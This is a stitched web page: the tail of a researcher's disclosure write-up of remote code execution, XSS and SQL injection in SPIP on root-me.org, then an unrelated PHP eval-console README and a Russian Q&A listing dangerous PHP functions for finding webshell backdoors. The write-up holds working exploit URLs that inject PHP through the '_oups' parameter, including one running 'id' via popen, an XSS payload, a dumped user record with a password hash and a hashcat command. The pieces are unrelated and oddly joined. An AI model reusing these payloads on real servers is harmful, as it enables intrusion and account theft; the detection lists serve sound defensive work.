    #8 evaluer_fond(prive/squelettes/contenu/article, Array ([exec] => article,[id_article] => 1,[ajouter] => non,[tri_liste_aut] => statut,[deplacer] => oui,[_oups] => '<?php debug_print_backtrace();die();?>',[date] => 2020-05-29 12:34:09,[date_default] => 1,[date_redac] => 2020-05-29 12:34:09,[date_redac_default] => 1,[type-page] => article,[composition] => ,[lang] => en,[espace_prive] => 1), ) called at [/issue_4494/ecrire/inc/utils.php:3258]
    #9 recuperer_fond(prive/squelettes/contenu/article, Array ([exec] => article,[id_article] => 1,[ajouter] => non,[tri_liste_aut] => statut,[deplacer] => oui,[_oups] => '<?php debug_print_backtrace();die();?>',[date] => 2020-05-29 12:34:09,[date_default] => 1,[date_redac] => 2020-05-29 12:34:09,[date_redac_default] => 1,[type-page] => article,[composition] => ,[lang] => en,[espace_prive] => 1), Array ([compil] => Array ([0] => ../prive/squelettes/body.html,[1] => html_5bbf3d281bcedbb6cfa5c8fc593ec71d,[2] => ,[3] => 22,[4] => en),[ajax] => contenu,[trim] => 1), ) called at [/issue_4494/ecrire/public/evaluer_page.php(55) : eval()'d code:89]
    #10 eval() called at [/issue_4494/ecrire/public/evaluer_page.php:55]
    #11 include(/issue_4494/ecrire/public/evaluer_page.php) called at [/issue_4494/ecrire/public/assembler.php:657]
    #12 evaluer_fond(prive/squelettes/body, Array ([exec] => article,[id_article] => 1,[ajouter] => non,[tri_liste_aut] => statut,[deplacer] => oui,[_oups] => '<?php debug_print_backtrace();die();?>',[date] => 2020-05-29 12:34:09,[date_default] => 1,[date_redac] => 2020-05-29 12:34:09,[date_redac_default] => 1,[type-page] => article,[composition] => ,[lang] => en,[espace_prive] => 1), ) called at [/issue_4494/ecrire/inc/utils.php:3258]
    #13 recuperer_fond(prive/squelettes/body, Array ([exec] => article,[id_article] => 1,[ajouter] => non,[tri_liste_aut] => statut,[deplacer] => oui,[_oups] => '<?php debug_print_backtrace();die();?>',[date] => 2020-05-29 12:34:09,[date_default] => 1,[date_redac] => 2020-05-29 12:34:09,[date_redac_default] => 1,[type-page] => article,[composition] => ,[lang] => en,[espace_prive] => 1), Array ([compil] => Array ([0] => ../prive/squelettes/structure.html,[1] => html_7335c83ff55eb313d2a61dfae0443fa4,[2] => ,[3] => 9,[4] => en),[trim] => 1), ) called at [/issue_4494/ecrire/public/evaluer_page.php(55) : eval()'d code:38]
    #14 eval() called at [/issue_4494/ecrire/public/evaluer_page.php:55]
    #15 include(/issue_4494/ecrire/public/evaluer_page.php) called at [/issue_4494/ecrire/public/assembler.php:657]
    #16 evaluer_fond(prive/squelettes/structure, Array ([exec] => article,[id_article] => 1,[ajouter] => non,[tri_liste_aut] => statut,[deplacer] => oui,[_oups] => '<?php debug_print_backtrace();die();?>',[date] => 2020-05-29 12:34:09,[date_default] => 1,[date_redac] => 2020-05-29 12:34:09,[date_redac_default] => 1,[type-page] => article,[composition] => ,[lang] => en), ) called at [/issue_4494/ecrire/inc/utils.php:3258]
    #17 recuperer_fond(prive/squelettes/structure, Array ([exec] => article,[id_article] => 1,[ajouter] => non,[tri_liste_aut] => statut,[deplacer] => oui,[_oups] => '<?php debug_print_backtrace();die();?>',[date] => 2020-05-29 12:34:09,[date_default] => 1,[date_redac] => 2020-05-29 12:34:09,[date_redac_default] => 1,[type-page] => article,[composition] => ,[lang] => en), Array ([compil] => Array ([0] => ../prive/squelettes/page.html,[1] => html_2282b1b56aa2fdb0410f3f69aba04c5e,[2] => ,[3] => 1,[4] => en),[trim] => 1), ) called at [/issue_4494/ecrire/public/evaluer_page.php(55) : eval()'d code:14]
    #18 eval() called at [/issue_4494/ecrire/public/evaluer_page.php:55]
    #19 include(/issue_4494/ecrire/public/evaluer_page.php) called at [/issue_4494/ecrire/public.php:157]
    #20 include(/issue_4494/ecrire/public.php) called at [/issue_4494/ecrire/exec/fond.php:74]
    #21 include_once(/issue_4494/ecrire/exec/fond.php) called at [/issue_4494/ecrire/inc/utils.php:1572]
    #22 find_in_path(fond.php, exec/, 1) called at [/issue_4494/ecrire/inc/utils.php:151]
    #23 include_spip(exec/fond) called at [/issue_4494/ecrire/inc/utils.php:81]
    #24 charger_fonction(fond) called at [/issue_4494/ecrire/index.php:165]
  3. https://www.root-me.org/ecrire/?exec=article&id_article=1&ajouter=non&tri_liste_aut=statut&deplacer=oui&_oups='<?php debug_print_backtrace();die();?>
    https://www.root-me.org/ecrire/?exec=article&id_article=1&ajouter=non&tri_liste_aut=statut&deplacer=oui&_oups=%27%3C?php%20debug_print_backtrace();die();?%3E

    reflected_oups
    eval_debug

  4. Spawn a phpinfo to see what is allowed / forbidden
    phpinfo

  5. https://www.root-me.org/ecrire/?exec=article&id_article=1&ajouter=non&tri_liste_aut=statut&deplacer=oui&_oups='<?php echo fread(popen("id", "r"), 300);?>
    https://www.root-me.org/ecrire/?exec=article&id_article=1&ajouter=non&tri_liste_aut=statut&deplacer=oui&_oups=%27%3C?php%20echo%20fread(popen(%22id%22,%20%22r%22),%20300);?%3E

    cmd_id

Honestly, I never thought I would one day pwn root-me, but hey, here we are, and I’m so frikkin’ happy! 😀
happy_owl

XSS wise

The parano mode was enabled, which reduces the attack surface for XSS and escapes pretty much everything. Only a few were working on root-me.
More information about this mode here: https://www.spip.net/en_article4948.html

https://www.root-me.org/ecrire/?exec=plan&null=lalu' onmouseover=alert(domain) style='width:9999999px;height:9999999px;' foo=
https://www.root-me.org/ecrire/?exec=plan&null=lalu%27%20onmouseover=alert(domain)%20style=%27width:9999999px;height:9999999px;%27%20foo=

xss_null_rootme

SQLi wise

SELECT * FROM `spip_auteurs` WHERE email LIKE 'loukajc@gmail.com' [1]:
????CENSORED????, ????CENSORED????, , , Black Hat? Hell no! Black Cat. , , 0, , , loukajc@gmail.com, 2020-05-22 18:42:10, $1$FmHtJAcr$bkMz6D8B3P0oYCLKCXJVt., 18343, non, fr, develooper, ????CENSORED????, 2020-05-22 18:42:10, , , , , , Laluka, ThinkLoveShare, 523fc199643d2f0f0d71599bce5ebf1d732512a777ba9f8af656097445294023, , a:5:{s:7:"couleur";s:1:"9";s:7:"display";s:1:"1";s:18:"display_navigation";s:21:"navigation_sans_icone";s:14:"display_outils";s:3:"oui";s:3:"cnx";s:0:"";}, , 1comite, https://thinkloveshare.com, non

My password wasn’t in a wordlist, so I added it (testing purpose). And yes, I changed it. 🙂

Here I run hashcat, which is on my machine aliased to a docker alias:

docker run --rm -it -v $(pwd):/host dockit dizcza/docker-hashcat:intel-cpu hashcat

hashcat

Timeline — DD/MM/YYY

  • 20/03/2020: New idea in mind: what about a RCE on root-me.org?
  • 14/05/2020: Dockerized spip setup, first XSS. Getting motivated takes time, right?
  • 15/05/2020: Initial contact with Spip & Root-Me, feedback on a bulk of xss
  • 17/05/2020: Still in touch, first SQLi reported
  • XX/05/2020: Patch for many XSS and SQLi tested and validated (spip side)
  • XX/05/2020: W00t, got a shell?! (quickly reported & patched)
  • 29/09/2020: Finally publicly disclosed by spip! 😀
  • 29/09/2020: Article published! Yataaaa! \o/
  • 01/10/2020: Root-me’s WallOfFame has been updated 🙂
  • 19/05/2022: OMG IT HAPPENED, CVE FINALLY AKNOWLEDGED!!! CVE-2022-28959, CVE-2022-28960, & CVE-2022-28961
  • 25/07/2022: No one ever told me about the CVE, I found out by messing around… What a world.

You can find the release note here: https://blog.spip.net/Mise-a-jour-CRITIQUE-de-securite-SPIP-3-2-8-et-SPIP-3-1-13.html

Conclusion?

  1. Nothing is as safe as it seems
  2. Don’t rush, read code, read more code
  3. Code stuff, build tools, moaaarrrr tools
  4. Have fun, “waste” nights, everything’s gonna be alright.
Дополнительно:  windows-7 - Многочисленные ошибки синего экрана - PowerUser

Last words ?

The patch. I do the patch often. I really like practicing the patch. Do you?

the_patch










PHP Eval Console

In-browser, standalone console that executes your PHP code and returns the produced output. This package is based on
package darsain/laravel-console.

Screenshot

Table of contents

Installation

Get package through composer:

composer require meebio/php-eval-console

Copy vendor/meebio/php-eval-console/assets to assets in project root directory.

Open index.php page in browser.

Configuration

Evaluators

EvalEvaluator

Basic evaluator that uses eval command. This is entirely not secure.

PhpSandboxEvaluator

Authorizers

IpAuthorizer

This authorizer ensures that only access from provided ips is possible. Authorizer constructor takes to arguments first
is array of allowed ips (null if this check should be disabled) and second is array of disallowed ips (null if this
check should be disabled).

Queries callback

Laravel support

You should install the package through Composer:

composer require meebio/php-eval-console

You must add service provider to app config:

You can publish package assets through artisan command:

php artisan vendor:publish --provider=

or just copy directory vendor/meebio/php-eval-console/assets to public/vendor/php-eval-console.

 \\; \\\\ ;
{  * The URIs that should be excluded from CSRF verification. = [ , ];
}

For lower versions of Laravel, that can be done as well, but some manual method overriding is needed.

When everything is done you should see Console at /console uri.

TODO

  • Improve errors handling.

Я пытаюсь составить список функций, которые могут быть использованы для выполнения произвольного кода. Цель не в том, чтобы перечислить функции, которые должны быть занесены в черный список или иным образом запрещены. Скорее, я хотел бы иметь список ключевых слов, по которым можно определить специализированные функции для идентификации back-doors на взломанном сервере. Идея заключается в том, что если вы хотите создать многоцелевой вредоносный PHP-скрипт — например, скрипт типа c99 или r57 — вам придется использовать одну или несколько из относительно небольшого набора функций где-то в файле, чтобы позволить пользователю выполнить произвольный код. Поиск этих функций поможет вам быстрее найти решение из десятков тысяч PHP-файлов до относительно небольшого набора скриптов, требующих более тщательного изучения. Очевидно, что, например, любой из следующих сценариев будет считаться вредоносным (или сложным кодированием):

и так далее.

Просматривая на днях взломанный сайт, я не заметил ни одного вредоносного кода, потому что не знал, что preg_replace можно сделать опасным с помощью флага «/e». Есть ли другие, которые я пропустил? Вот мой список на данный момент:

Также может быть полезно иметь список функций, способных модифицировать файлы, но я полагаю, что в 99% случаев код эксплойта будет содержать хотя бы одну из вышеперечисленных функций. Но если у вас есть список всех функций, способных редактировать или выводить файлы, опубликуйте его. 

Для составления этого списка я использовал 2 источника: A Study In Scarlet и RATS. Я также добавил несколько своих собственных. После публикации этого списка я связался с основателем RIPS, и на данный момент этот инструмент ищет в коде PHP использование каждой функции из этого списка. Большинство вызовов этих функций классифицируются как уязвимые. Когда испорченная переменная (например, $_REQUEST) передается в функцию из этого списка, то у вас есть уязвимость. Такие программы, как RATS и RIPS, используют функцию grep для выявления всех уязвимостей в приложении. Это означает, что программисты должны быть особенно осторожны при использовании этих функций, но если бы все они были запрещены, то вы не смогли бы многого добиться.

Функции PHP для выполнения произвольного кода

Помимо eval существуют и другие способы выполнения PHP-кода: include/require могут быть использованы для удаленного выполнения кода в виде уязвимостей Local File Include и Remote File Include.

assert()  — идентичен eval()

Список функций, принимающих обратные вызовы

Эти функции принимают строковый параметр, который может быть использован для вызова функции по выбору злоумышленника. В зависимости от функции у злоумышленника может быть или не быть возможности передать параметр. В этом случае можно использовать функцию раскрытия информации, например phpinfo().

Функция                      => Положение аргументов обратного вызова

‘ob_start’                      >  0,

‘array_diff_uassoc’       => -1,

‘array_diff_ukey’           => -1,

‘array_filter’                   =>  1,

‘array_intersect_uassoc’  => -1,

‘array_intersect_ukey’       => -1,

‘array_map’                  =>  0,

‘array_reduce’               =>  1,

‘array_udiff_assoc’          => -1,

‘array_udiff_uassoc’         => array(-1, -2),

‘array_udiff’                => -1,

‘array_uintersect_assoc’     => -1,

‘array_uintersect_uassoc’    => array(-1, -2),

‘array_uintersect’           => -1,

‘array_walk_recursive’       =>  1,

‘array_walk’                 =>  1,

‘assert_options’             =>  1,

‘uasort’                     =>  1,

‘uksort’                     =>  1,

‘usort’                      =>  1,

‘preg_replace_callback’      =>  1,

‘spl_autoload_register’      =>  0,

‘iterator_apply’             =>  1,

‘register_shutdown_function’ =>  0,

‘register_tick_function’     =>  0,

‘set_error_handler’          =>  0,

‘set_exception_handler’      =>  0,

‘session_set_save_handler’   => array(0, 1, 2, 3, 4, 5),

‘sqlite_create_aggregate’    => array(2, 3),

‘sqlite_create_function’     =>  2,

Большинство из этих вызовов функций не являются уязвимыми. Но, скорее, это может быть уязвимостью, если какие-либо из возвращаемых данных доступны для просмотра злоумышленнику. Если злоумышленник может увидеть phpinfo(), то это определенно уязвимость. 

extract — открывает back-door для атак register_globals.

parse_str — работает как extract, если указан только один аргумент.  

mail — имеет инъекцию CRLF в третьем параметре, открывает back-door для спама. 

Функции файловой системы

// обработчик открытых файлов

// запись в файловую систему (частично в сочетании с чтением)

imagepng   — 2-й параметр — путь.

imagewbmp  — 2-й параметр — путь.

image2wbmp — 2-й параметр — путь. 

imagejpeg  — 2-й параметр — путь.

imagexbm   — 2-й параметр — путь.

imagegif   — 2-й параметр — путь.

imagegd    — 2-й параметр — путь.

imagegd2   — 2-й параметр — путь.

// чтение из файловой системы

Функции выполнения произвольных команд

exec            — Возвращает последнюю строку вывода команд

passthru       — Передает вывод команд непосредственно в браузер

system          — Передает вывод команд непосредственно в браузер и возвращает последнюю строку.

shell_exec     — Возвращает вывод команд

` (backticks) — То же, что и shell_exec()

popen            — Открывает канал чтения или записи к процессу команды

proc_open     — Аналогично popen(), но с большей степенью контроля

pcntl_exec    — Выполняет программу

Я бы особенно хотел добавить в этот список unserialize(). Она имеет долгую историю различных уязвимостей, включая выполнение произвольного кода, отказ в обслуживании и утечку информации из памяти. Ее никогда не следует вызывать для данных, предоставленных пользователем. Многие из этих уязвимостей были исправлены в релизах за последние несколько лет. Для получения другой информации о сомнительных функциях/использовании php обратитесь к проекту Hardened PHP Project и его рекомендациям.  Также обратите внимание, что по замыслу, отсериализация объекта приведет к выполнению функций конструктора и деструктора; еще одна причина не вызывать ее для данных, предоставленных пользователем.

Мой VPS настроен на отключение следующих функций:

disable_functions = dl, exec, shell_exec, system, passthru, popen, pclose, proc_open, proc_nice, proc_terminate, proc_get_status, proc_close, pfsockopen, leak, apache_child_terminate, posix_kill, posix_mkfifo, posix_setpgid, posix_setsid, posix_setuid

 В PHP достаточно потенциально разрушаемых функций, чтобы ваш список мог оказаться слишком большим для поиска. Например, в PHP есть chmod и chown, которые могут быть использованы для простой деактивации веб-сайта. Возможно, вы захотите создать сценарий bash, который будет искать в файле массив функций, сгруппированных по степени опасности (функции, которые плохи, функции, которые еще хуже, функции, которые никогда не следует использовать), а затем вычислять относительную степень опасности, которую налагает файл, в процентах. Затем выводит это в дерево каталога с процентами, отмеченными рядом с каждым файлом, если опасность превышает порог, например, на 30%.

Вполне возможно внедрить PHP-код в любой тип файла. Изображения могут быть особенно уязвимы с текстовыми комментариями. Проблема становится особенно серьезной, если код принимает расширение, найденное в данных $_FILES, как есть.

Например, пользователь может загрузить правильный PNG-файл, с внедренным PHP-кодом под именем «foo.php». Если скрипт особенно плох, он может фактически скопировать файл как «/uploads/foo.php». Если сервер настроен на разрешение выполнения скриптов в пользовательских каталогах загрузки (что часто случается, и это опасное упущение), то вы мгновенно можете запустить любой произвольный PHP-код. (Даже если изображение сохранено как .png, можно заставить код выполняться через другие недостатки безопасности).

(Неполный) список того, что нужно проверять при загрузке:

  1. Обязательно проанализируйте содержимое, чтобы убедиться, что загруженный файл соответствует заявленному типу.

  2. Сохраняйте файл с известным, безопасным расширением, которое никогда не будет выполнено

  3. Убедитесь, что PHP (и любое другое выполнение кода) отключено в пользовательских каталогах загрузки.

Оцените статью
Master Hi-technology